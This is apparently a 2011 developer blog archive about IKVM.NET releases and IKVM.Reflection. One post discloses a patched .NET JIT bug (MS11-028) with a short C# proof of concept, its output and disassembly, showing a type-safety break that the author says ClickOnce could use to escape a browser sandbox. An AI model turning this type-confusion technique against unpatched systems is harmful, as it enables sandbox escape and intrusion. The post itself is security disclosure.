# Friday, 10 June 2011
Calendar

I'll be at the following conferences this summer:

Send me an e-mail if you want to meet up for a chat.

Friday, 10 June 2011 07:13:15 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 18 May 2011
Implementation Dependencies

Field Ordering

A new feature in today's snapshot is that java.lang.Class.getDeclaredFields() now returns the fields in class declaration order for ikvmc compiled code (dynamically compiled code always did this).

This is not required by the specification, but recently after debugging a complex piece of code that failed when compiled with ikvmc because of a field ordering dependency I did some more thinking and came up with a way to cheaply retain the field ordering.

IKVM.Reflection

Like Java reflection, System.Reflection makes no promises about ordering, so how do you retain the ordering without adding additional bookkeeping overhead? The key lies in IKVM.Reflection, since ikvmc now uses IKVM.Reflection to emit the metadata I know how to make sure that fields are emitted in a particular order and that this gives them increasing metadata tokens.

So all I had to do is make a minor modification to ikvmc to define the fields in the same order as they are defined in the class file and in the runtime reflection code sort the FieldInfo array returned by Type.GetFields() by metadata token.

Annotations by Proxy

The JDK implements annotations by using java.lang.reflect.Proxy to implement the annotation interface. This is an implementation decision and not promised by the spec anywhere, but predictably there is also code that (for no good reason) assumes that annotations are always implemented by java.lang.reflect.Proxy.

This code failed on ikvmc compiled code, because there I generated .NET custom attributes that implement the annotation interface and simply returned the custom attribute object.

So I've changed the annotation reflection code to now return a java.lang.reflect.Proxy as well (for compatibility, the custom attribute annotations still implement the annotation interface).

Conclusion

You can write whatever you want in the specification, but when an ecosystem is dominated by one implementation, people are going to write against the implementation, not the specification.

This is not just annoying for alternative implementations, but the dominant implementation also suffers, because in subsequent versions you have far less freedom in evolving your implementation.

Wednesday, 18 May 2011 08:23:51 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
New Development Snapshot

Since it has been a while, time for a new development snapshot.

Changes:

  • Expose annotations on statically compiled code as java.lang.reflect.Proxy instead of the custom attribute object, to deal with broken code that assumes annotations are always implemented with Proxy. Fix for #3254823.
  • Added delegate conversion for java.lang.reflect.InvocationHandler to ikvm.runtime.Delegates.
  • Changed build to specify "-cp dummy" for javac compile to avoid accidentally picking up classes on the CLASSPATH.
  • Added experimental (i.e. not yet finished) -proxy: option to ikvmc to pre-generate proxy class.
  • Added method prologue support to remap file.
  • Updated AtomicInteger, AtomicIntegerArray, AtomicLonger, AtomicLongerArray to use .NET 2.0 interlocked operations.
  • Added stind_i8 opcode to remap file.
  • Changed build and JNI code to use different names for the Windows x86 and x64 versions of the native dll.
  • Added missing lib/*.properties files (in particular lib/calendars.properties which caused java.util.JapaneseImperialCalendar to fail).
  • Retain reflection field ordering for ikvmc compiled code (not required by spec, but to improve compatibility with broken code).
  • AWT: Fixed a StringIndexOutOfBoundsException if RTL and LTR text are used in one string.
  • AWT: Added emulation for fixed metrics to make drawString and stringWidth compatible.
  • AWT: Added workaround for bug in OpenJDK 6 on Windows. The result is that the needed width for painting of labels and buttons can be 1 pixel larger as the prefered size. The result was labels with "...".
  • IKVM.Reflection: Fixed TypeBuilder.DefineNestedType() to accept a null reference for the interfaces parameter.

Binaries available here: ikvmbin-0.47.4154.zip

Wednesday, 18 May 2011 07:57:20 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 19 April 2011
MS11-028 Vulnerability Details

The bug report apparently originated on stackoverflow and was subsequently filed on Microsoft connect. So it has been public since August 4, 2010 and easily findable in connect (that's how I found it, by searching for JIT bugs). Microsoft seems to believe that since they have not seen any widespread exploits of .NET vulnerabilities (see claim here) that this was not a high priority issue.

I've drawn my conclusions and disabled running all .NET code in the browser on my system.

It should also be noted that using ClickOnce, this issue can be used to execute code outside of the Internet Explorer Protected Mode sandbox.

Here is a simple example that uses the bug to violate type safety:

using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct RunLong {
  public byte Count;
  public long Value;

  public RunLong(byte count, long value) {
    Count = count;
    Value = value;
  }
}

class Program {
  static void Main(string[] args) {
    try {
      Whoop(null, null, args, null, Frob(new RunLong(1, 0)));
    } catch { }
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static object Frob(RunLong runLong) {
    return null;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static void Whoop(object o1, object o2, object o3, Program p, object o5) {
    Console.WriteLine("p = " + p);
    throw new Exception();
  }
}

Running this on an unpatched system (we compile with /platform:x86, because only the 32 bit JIT is affected):

C:\temp>csc /platform:x86 program.cs

C:\temp>program
p = System.String[]

Here we see that p, typed as Program, contains a string[]. This is a classic type safety hole and can be used like this.

Generated Code

Here's the code generated for the highlighted line by the unpatched JIT:

   mov   eax,1
   xor   ecx,ecx
   xor   edx,edx
   push  esi
   push  ecx
   push  eax                    ; incorrect instruction
   push  eax                    ; incorrect instruction
   mov   word ptr [esp+1],cs    ; incorrect instruction
   call  Frob
   push  eax
   xor   edx,edx
   xor   ecx,ecx
   call  Whoop

The three incorrect instructions are supposed to push the RunLong value on the stack (padded to 12 bytes), but instead push 8 bytes (and an incorrect value) and store the cs segment register (?). This causes the stack to become unbalanced (because Frob pops 12 bytes off the stack) and the result is that the third parameter to Whoop (o3) ends up in the place of fourth parameter (p).

The resulting unbalanced stack would result in a crash, so Whoop throws an exception to restore the stack to a sane state.

Tuesday, 19 April 2011 13:54:49 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Wednesday, 13 April 2011
MS11-028 Vulnerability Details

Next week I will post the details of the bug fixed in MS11-028 released yesterday.

I did not discover this vulnerability, but in Februari I did find a public bug report that contains enough information to write an exploit and I contacted the Microsoft Security Response Center and they replied:

“Thank you for contacting us with this. We are aware of the issue you are reporting and since the issue is public I can not comment on the issue or the status of the investigation except to say that we are aware and investigating.“

The bug was originally reported in August of last year.

After I saw the bug report it took me about 15 minutes to write a proof of concept exploit.

Wednesday, 13 April 2011 23:21:33 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, 01 April 2011
MIX11

I'll be at MIX this year. If you want to meet up for a chat, drop me a note.

Friday, 01 April 2011 17:21:09 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, 24 March 2011
IKVM.NET 0.46 Released

I've released IKVM.NET 0.46 to SourceForge. The binaries are identical to the ones in release candidate 1.

Release Notes

This document lists the improvements, known issues and incompatibilities.

What's New (relative to IKVM.NET 0.44):

  • Integrated OpenJDK 6 b22.
  • Added -Xreference: option to ikvm.exe and ikvm.runtime.Startup.addBootClassPathAssemby() API.
  • The binaries zip now includes lib/ikvm-api.jar to avoid having to run ikvmstub to get access to the IKVM Java APIs.
  • Ported parts of fdlibm to C# to use for StrictMath methods tan, cbrt, floor, pow, hypot, expm1 and log1p.
  • Add support for serializing .NET exceptions in Java. We don't serialize the actual object, but a placeholder instead, to avoid having to implement full .NET serialization interop.
  • Added IL optimization step to code generator.
  • Added SynchronizationContext for AWT event thread.
  • Many IKVM.Reflection improvements and bug fixes.
  • Many Swing/AWT/font/graphics/printing improvements.
  • Implemented IPv6 support (.NET only) for java.net package APIs.
  • The sun.boot.class.path system property now points to VFS to allow javac to work (although a bit slow, because the stub class files are dynamically generated on demand).
  • Resource and generated stub classes are now projected into the virtual IKVM home directory, to make code that assumes that resources live in jars happy.
  • Improvements to @ikvm.lang.Internal handling.
  • Many minor improvements.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
     
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
       
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled together during a single compilation fully obeys the JLS binary compatibility rules.

Class Library

Most class library code is based on OpenJDK 6 build 22. Below is a list of divergences and IKVM.NET specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net IPv6 support at level equivalent to JDK 6 (only on .NET).
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print There is a Win32 specific printing implementation. Not supported.
javax.script ECMAScript implementation is not included.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Not supported.

The entire public API is available, so "Not implemented." for javax.smartcardio, for example, means that the API is there but there is no back-end to provide the actual smartcard communication support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas, but patches are welcome, of course.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows
.NET 4.0 x86 Windows
.NET 4.0 x64 Windows


Partial Trust

There is experimental support for running in partial trust.

Thursday, 24 March 2011 06:50:18 (W. Europe Standard Time, UTC+01:00)  #    Comments [3]
# Wednesday, 23 March 2011
IKVM.Reflection Update

Missing Members

To support mcs I previously added some limited support for missing members. This has now been extended substantially to allow full fidelity reading/writing of assemblies. Normally IKVM.Reflection behaves like System.Reflection in how it tries to resolve member and assembly references, but now it is possible to customize this to enable reading a module without resolving any dependencies.

Roundtripping

To test this version of IKVM.Reflection, I've roundtripped 1758 (non-C++/CLI) modules from the CLR GAC plus the Mono 2.10 directories on my system. Roundtripping here means reading in the module and writing it back out. The original module and resulting module are both disassembled with ildasm and the resulting IL files compared (after going through two dozen regex replacements to filter out some trivial differences).

The code I used for the roundtripping is an (d)evolution of the linker prototype code. It is available here. Note that it is very far from production quality, but does make for a good case study in how to use the advanced IKVM.Reflection functionality.

Unmanaged Exports

A cool CLR feature is the ability to export static managed methods as unmanaged DLL exports. The only languages that support this, AFAIK, are C++/CLI and ILASM, but now you easily do it with IKVM.Reflection as well. Below is a Hello World example. Note that while this example exports a global method, you can export any static method. Note also that the string passed in must be ASCII, may be null and that the ordinal must be a 16 bit value that is unique (in the scope of the module).

using IKVM.Reflection;
using IKVM.Reflection.Emit;

class Demo
{
  static void Main()
  {
    var universe = new Universe();
    var name = new AssemblyName("ExportDemo");
    var ab = universe.DefineDynamicAssembly(name, AssemblyBuilderAccess.Save);
    var modb = ab.DefineDynamicModule("ExportDemo", "ExportDemo.dll");
    var mb = modb.DefineGlobalMethod("HelloWorld", MethodAttributes.Static, null, null);
    var ilgen = mb.GetILGenerator();
    ilgen.EmitWriteLine("Hello World");
    ilgen.Emit(OpCodes.Ret);
    mb.__AddUnmanagedExport("HelloWorld", 1);
    modb.CreateGlobalFunctions();
    ab.Save("ExportDemo.dll", PortableExecutableKinds.Required32Bit, ImageFileMachine.I386);
  }
}

The resulting ExportDemo.dll can now be called from native code in the usual ways, for example:

    typedef void (__stdcall * PROC)();
    HMODULE hmod = LoadLibrary(L"ExportDemo.dll");
    PROC proc = (PROC)GetProcAddress(hmod, "HelloWorld");
    proc();

Creating unmanaged exports is supported for I386 and AMD64. Itanium (IA64) support has not been implemented.

What's Missing

It should now be possible to write an ILDASM clone using IKVM.Reflection, however to be able to write ILASM there are still a couple of things missing:

  • Function pointers (used by C++/CLI).
  • API to create missing type.
  • Preserving interleaved modopt/modreq ordering.
  • Various C++/CLI quirks (e.g. custom modifiers on local variable signatures).
  • Ability to set file alignment.

Changes:

  • Added support for using missing members in emitted assembly.
  • If you build IKVM.Reflection with the STABLE_SORT symbol defined, all metadata sorting will be done in a stable way, thus retaining the order in which the items are defined.
  • When target is .NET 1.x adjust the type name writing algorithm to match the quirks of the Microsoft .NET 1.x metadata writer.
  • Fixed Type.StructLayoutAttribute to be (bug) compatible with .NET.
  • Don't map unspecified pinvoke calling convention to winapi.
  • Don't needlessly read the contents of a resource module.
  • Automatically emit .NET 1.x compatible declarative security when appropriate.
  • Added support for having multiple mscorlib versions in a universe.
  • Added Assembly.__AssemblyFlags property.
  • Added CustomAttributeBuilder.__FromBlob().
  • Added CustomAttributeBuilder.__MakeTypedArgument() to make it possible to box an enum or create an array of an enum type in a location typed as object.
  • Added ILGenerator.__MaxStackSize property.
  • Added EventInfo.__GetMethods().
  • Added FieldBuilder.__SetReadOnlyDataAndRVA().
  • Added FieldInfo.__FieldRVA property.
  • Added FieldInfo.__GetFieldOnTypeDefinition().
  • Added ManifestResourceInfo.__ResourceAttributes property.
  • Added MethodBase.__GetMethodOnTypeDefinition().
  • Added MethodBuilder.__AddUnmanagedExport().
  • Added MethodBuilder.__SetCallingConvention().
  • Added Module.__ImageBase property.
  • Added Module.__GetCustomAttributesFor().
  • Added Module.__GetExportedTypes().
  • Added Module.__GetReferencedModules().
  • Added Module.__GetReferencedTypes().
  • Added Module.__GetSectionInfo().
  • Added Module.__ModuleHash property (for resource modules).
  • Added Module.__ReadDataFromRVA().
  • Added Module.__ResolveReferencedAssemblies().
  • Added Module.__StackReserve property.
  • Added ModuleBuilder.__AddModule().
  • Added ModuleBuilder.__AddModuleReference().
  • Added ModuleBuilder.__AddAssemblyReference(AssemblyName, Assembly) overload.
  • Added ModuleBuilder.__AddUnmanagedExportStub().
  • Added ModuleBuilder.__AddVTableFixups().
  • Added ModuleBuilder.__SetCustomAttributeFor().
  • Added ModuleBuilder.__SetModuleVersionId().
  • Added ModuleBuilder.__SetStackReserve().
  • Added PropertyInfo.__CallingConvention property.
  • Added Type.__GetLayout().
  • Added Type.__CreateMissingMethod(), Type.__CreateMissingField() and MissingGenericMethodBuilder.
  • Added Type.__GetArraySizes() and Type.__GetArrayLowerBounds().
  • Added Type.__MakeArrayType() overload that takes sizes and lower bounds.
  • Added TypeBuilder.__SetLayout().

Binary available here: IKVM.Reflection-0.47.4098.zip

Wednesday, 23 March 2011 08:04:24 (W. Europe Standard Time, UTC+01:00)  #    Comments [6]
# Thursday, 17 March 2011
IKVM.NET 0.46 Release Candidate 1

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.46.0.1.
  • Zip inflater fix (Classpath bug #48131).
  • Support loading resources from assemblies added to the boot classloader (with ikvm.runtime.Startup.addBootClassPathAssemby()).
  • IKVM.Reflection: ILGenerator.BeginExceptFilterBlock() should behave like BeginCatchBlock(), not BeginFinallyBlock().
  • IKVM.Reflection: Type.FullName for a generic type should separate type parameters by commas.
  • IKVM.Reflection: Type.FullName for a generic type should only escape the ']' characters in the assembly names of type parameters.
  • IKVM.Reflection: <Module> should not extend object.
  • IKVM.Reflection: String literals should be read in "as-is", not interpreted as UTF-16.
  • IKVM.Reflection: MethodBody.MaxStack returned incorrect value for tiny header methods.
  • IKVM.Reflection: Getting Module methods/fields should not try to look at the base class of the <Module> type.
  • IKVM.Reflection: Align initialized data arrays on 8 byte boundary.
  • IKVM.Reflection: Align managed resources on 8 byte boundary.

Binaries available here: ikvmbin-0.46.0.1.zip

Sources: ikvmsrc-0.46.0.1.zip, openjdk6-b22-stripped.zip

Thursday, 17 March 2011 06:49:16 (W. Europe Standard Time, UTC+01:00)  #    Comments [4]
# Wednesday, 16 March 2011
.NET/C# Generics History

Yesterday Don Syme posted a short history of .NET/C# generics.

Wow. Just wow.

I knew MSR was instrumental in getting generics into the CLR, but not that it was this critical.

Thank you Don Syme, Andrew Kennedy, et al.

Wednesday, 16 March 2011 06:41:40 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]